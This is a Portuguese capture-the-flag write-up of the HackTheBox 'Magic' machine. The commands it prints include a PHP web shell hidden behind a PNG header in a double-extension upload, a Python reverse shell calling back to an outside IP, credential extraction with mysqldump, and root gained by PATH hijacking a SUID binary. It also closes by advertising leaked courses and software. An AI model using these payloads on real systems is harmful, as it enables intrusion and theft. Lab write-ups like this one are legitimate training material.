
Continuo publicando soluções enviadas para finalização de máquinas do site HackTheBox .
Neste artigo, lançamos um shell em uma imagem, procuramos credenciais usando mysqldump e elevamos privilégios por meio de sysinfo.
A conexão com o laboratório é via VPN. É recomendável não se conectar de um computador de trabalho ou de um host onde haja dados importantes para você, pois você se encontra em uma rede privada com pessoas que sabem alguma coisa sobre segurança da informação.
Informação organizacional
Recon
Esta máquina tem um endereço IP de 10.10.10.185, que adicionei a / etc / hosts.
10.10.10.185 magic.htb
A primeira etapa é verificar as portas abertas. Uma vez que leva muito tempo para escanear todas as portas com nmap, primeiro farei isso usando masscan. Verificamos todas as portas TCP e UDP da interface tun0 a 500 pacotes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185 --rate=500
Agora, para obter informações mais detalhadas sobre os serviços executados nas portas, execute uma varredura com a opção -A.
nmap -A magic.htb -p22,80
O host tem 2 portas abertas: 22 para o serviço SSH e 80 para o servidor da web. Como sempre, navegamos na web.
Observe o link para a página de login. Em primeiro lugar, tentamos uma maneira de contornar a autorização e encontrar a correta.
Somos recebidos por um formulário para envio de imagens. Vamos tentar colocar algum código em php. Para fazer isso, pegue os primeiros quatro bytes da imagem e adicione código a eles. Neste caso, vamos preservar a extensão dupla. Desde a inicialização, o servidor irá verificar o último, e na execução - o primeiro.
python -c "print('\x89\x50\x4e\x47' + '<?php echo system($_GET[\'cmd\']); ?>')" > 1.php.png
Mas estamos sendo pegos.
Vamos tentar trapacear e ocultar o código em um comentário.
E depois de tentar fazer o download, somos informados sobre o download bem-sucedido.
O arquivo é carregado, mas a questão é onde. Vamos repassar os diretórios, o site é simples e eu tinha muito tempo, então não usei gobuster e dicionários enormes. Execute dirb.
Provavelmente, encontramos o diretório onde os arquivos são carregados. Agora vamos voltar ao nosso arquivo e passar o comando ls como um parâmetro.
E está feito!
Ponto de entrada
Vamos lançar o shell reverso como um parâmetro.
http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
E obtemos uma conexão de volta na porta 4321.
E no diretório de trabalho encontramos o arquivo para trabalhar com o banco de dados.
E neste arquivo encontramos a senha do usuário.
Além disso, esse usuário está no sistema. Tentamos mudar o usuário, mas falhou.
DO UTILIZADOR
Como esta é a senha do banco de dados, ela está associada ao mysql. Mas não funcionou para mim com mysql ou mysqladmin. Em seguida, decidiu-se examinar todos os programas relacionados ao mysql.
Luck sorriu para mysqldump. Nós nos conectamos e encontramos a senha.
mysqldump -u theseus -p iamkingtheseus Magic
Agora, conseguimos alterar o usuário e obter o sinalizador personalizado.
RAIZ
Por conveniência, gerei chaves SSH usando ssh-keygen, escrevi a pública no arquivo ~ / .ssh / authorized_keys e usando a privada conectei via SSH. Em seguida, baixe LinPEAS para o host remoto e inicie. Após uma listagem completa de todo o sistema, analisamos a saída. A única coisa que me viciei são os arquivos com o conjunto SUID (aqueles que rodamos como root).
Programa Sysinfo. Depois de procurar as informações, nada foi encontrado sobre a execução do comando. Então surgiu a ideia, e se o sysinfo usa outros programas que podemos desacreditar. Corri sysinfo sob ltrace.
Portanto, sysinfo executa os programas lshw, fdisk e cat. Agora mais sobre o vetor LPE. O sistema operacional possui uma variável de ambiente PATH que armazena caminhos.
Quando você digita o programa ls ou cd, o sistema procura, por sua vez, esses arquivos nos diretórios especificados no PATH. Portanto, se escrevermos qualquer diretório em primeiro lugar no PATH e colocarmos outro programa ls ou cat nele, ele será chamado.
Então, vou fazer isso com fdisk. Não vou lançar um shell reverso, mas simplesmente copiar nossa chave SSH para o usuário root a fim de conectar ao root via SSH, bem como um usuário.
Vamos chamar fdisk, por exemplo. Como você pode ver, um fdisk legítimo foi chamado.
Agora vamos adicionar nosso caminho à variável de ambiente PATH.
O sistema agora procurará primeiro o fdisk em / tmp / 123.
Vamos executar o sysinfo.
Vemos um erro na saída, pois a raiz não tem um diretório .ssh. Vamos mudar o script para que primeiro crie o diretório e depois o copie. Depois de executar sysinfo, não há erros do fdisk. Nós nos conectamos via SSH como root e pegamos a bandeira.
Você pode se juntar a nós no Telegram . Lá você pode encontrar materiais interessantes, cursos que vazaram e software. Vamos reunir uma comunidade, na qual haverá pessoas versadas em várias áreas de TI, para que possamos sempre ajudar uns aos outros em quaisquer questões de TI e segurança da informação.